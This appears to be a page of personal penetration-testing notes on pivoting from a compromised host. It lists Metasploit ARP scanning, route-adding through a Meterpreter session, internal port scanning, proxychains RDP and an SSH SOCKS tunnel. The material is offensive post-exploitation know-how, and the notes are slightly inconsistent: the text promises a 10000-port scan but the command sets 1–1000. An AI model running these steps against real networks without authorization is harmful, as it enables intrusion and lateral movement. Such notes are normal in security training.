Pivoting notes

*** THIS PAGE WILL NEED TO BE UPDATED!! ***

// discover hosts on inside network
meterpreter > background
msf > use post/windows/gather/arp_scanner
msf (arp_scanner) > set SESSION <id>
msf (arp_scanner) > set RHOSTS 192.168.0.0/24
msf (arp_scanner) > run

//Before we are able to run a port scanner from Metasploit against the private systems, instruct Metasploit to route all traffic destined to the private network 192.168.0.0/24 through the existing Meterpreter session established between our machine and the compromised server
meterpreter > background
msf > route add 192.168.0.0 255.255.255.0 <session_id>


proxychains xfreerdp /u:admin /p:**** /v:10.0.0.1

ssh -f -N -D 9050 -i pivot user@10.0.0.1

It is important to note that we configure the routing rule on the Metasploit console (msf >) not on Meterpreter session. The routing rule has to exist on our system β€” within Metasploit. That is why we issued the command β€œbackground” to put our Meterpeter session on the background and get to our Metasploit console.

After configuring the routing rule, we are able to run a TCP Port Scanner from within Metasploit against the two private systems. The following commands show how to use Metastploit’s native port scanner and assign the remote hosts’ IPs and port range. We will scan the first 10000 ports, as follows:

// Port scan
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.0.11,12
msf auxiliary(tcp) > set PORTS 1–1000
msf auxiliary(tcp) > run

The exploit ran successfully, and we now have a 2nd Meterpreter session. But this time, the 2nd session is tunneled within the 1st session and pivoted through the web server. To verify that, we issue the sessions command to see the existing sessions:

internal network mapping and pivoting

Last updated